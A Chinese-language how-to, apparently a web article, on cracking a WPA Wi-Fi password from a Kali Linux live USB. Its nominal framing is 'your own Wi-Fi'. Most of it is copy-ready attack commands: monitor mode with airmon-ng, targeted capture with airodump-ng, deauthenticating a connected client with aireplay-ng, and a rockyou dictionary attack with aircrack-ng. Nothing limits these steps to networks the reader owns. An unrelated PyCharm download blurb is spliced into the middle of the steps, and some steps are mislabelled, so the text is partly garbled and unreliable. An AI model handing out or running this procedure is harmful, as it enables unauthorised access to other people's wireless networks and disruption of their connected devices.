u盘启动kali linux可直接破解自家wi-fi密码，全程live模式不安装系统；需用dd命令写入镜像、选用兼容监听的网卡（如rtl8187/rt3070/rtl8812au），经airmon-ng启监听、airodump-ng扫描捕获握手包、aireplay-ng触发重连、aircrack-ng调用rockyou字典爆破，最终显示key found![password]即得密码。
用U盘启动Kali Linux直接破解自家Wi-Fi密码，无需安装系统、不改动主机环境，适合临时应急或测试场景。整个流程从制作可启动U盘开始，到最终获取密码，全程在Live模式下完成。
制作Kali Linux U盘启动盘
下载官方镜像后，必须用dd命令写入，不能用普通U盘拷贝工具——否则U盘无法引导，开机黑屏或报错“Missing operating system”。
打开终端，执行lsblk确认U盘设备名（如/dev/sdb），【务必核对设备名，写错会清空硬盘数据】。
运行命令：sudo dd if=kali-linux-live-2026.1-amd64.iso of=/dev/sdb bs=4M status=progress oflag=sync。
等待进度条走完，弹出提示后安全拔出U盘——此时U盘已具备完整Kali Live系统启动能力。
启动Kali并启用监听网卡
插入U盘，重启电脑，进BIOS将USB设为第一启动项，保存后进入Kali Live桌面。
插上兼容监听模式的USB无线网卡（芯片必须是RTL8187、RT3070或RTL8812AU，其他常见芯片如Realtek RTL8192EU不支持Monitor Mode）。
打开终端，输入sudo airmon-ng check kill，强制终止NetworkManager等干扰进程。
PyCharm 2026.2.0.1 Linux版提供 JetBrains 官方 2026.2.0.1 版本安装包，适合需要指定 PyCharm 版本进行 Python 项目开发、运行和调试的用户。
执行sudo airmon-ng start wlan0，成功后出现wlan0mon接口——【若无此接口，说明网卡不支持监听，必须更换】。
扫描目标网络并捕获握手包
第一步：运行sudo airodump-ng wlan0mon，观察附近Wi-Fi列表，记下目标路由器BSSID（MAC地址）和CH（信道号）。
第二步：按Ctrl+C停止扫描，立即执行：sudo airodump-ng --bssid 9C:2E:A1:20:65:BC -c 11 -w /tmp/handshake wlan0mon（把BSSID和信道替换成你查到的实际值）。
第三步：新开终端，执行解密触发命令：sudo aireplay-ng -0 2 -a 9C:2E:A1:20:65:BC -c A4:50:46:D8:74:29 wlan0mon（-c后填任意已连该Wi-Fi的手机MAC，可在上一步airodump输出的Station列表中找到）。
当主窗口右上角出现WPA handshake: 9C:2E:A1:20:65:BC字样，表示握手包已捕获成功，立刻按Ctrl+C停止两个终端。
用内置字典爆破密码
方法一：解压rockyou字典（首次使用需执行）：sudo gzip -d /usr/share/wordlists/rockyou.txt.gz。
方法二：直接运行爆破命令：sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt /tmp/handshake-01.cap。
看到屏幕输出KEY FOUND! [ password123 ]即表示成功——密码显示在方括号内，复制即可使用。
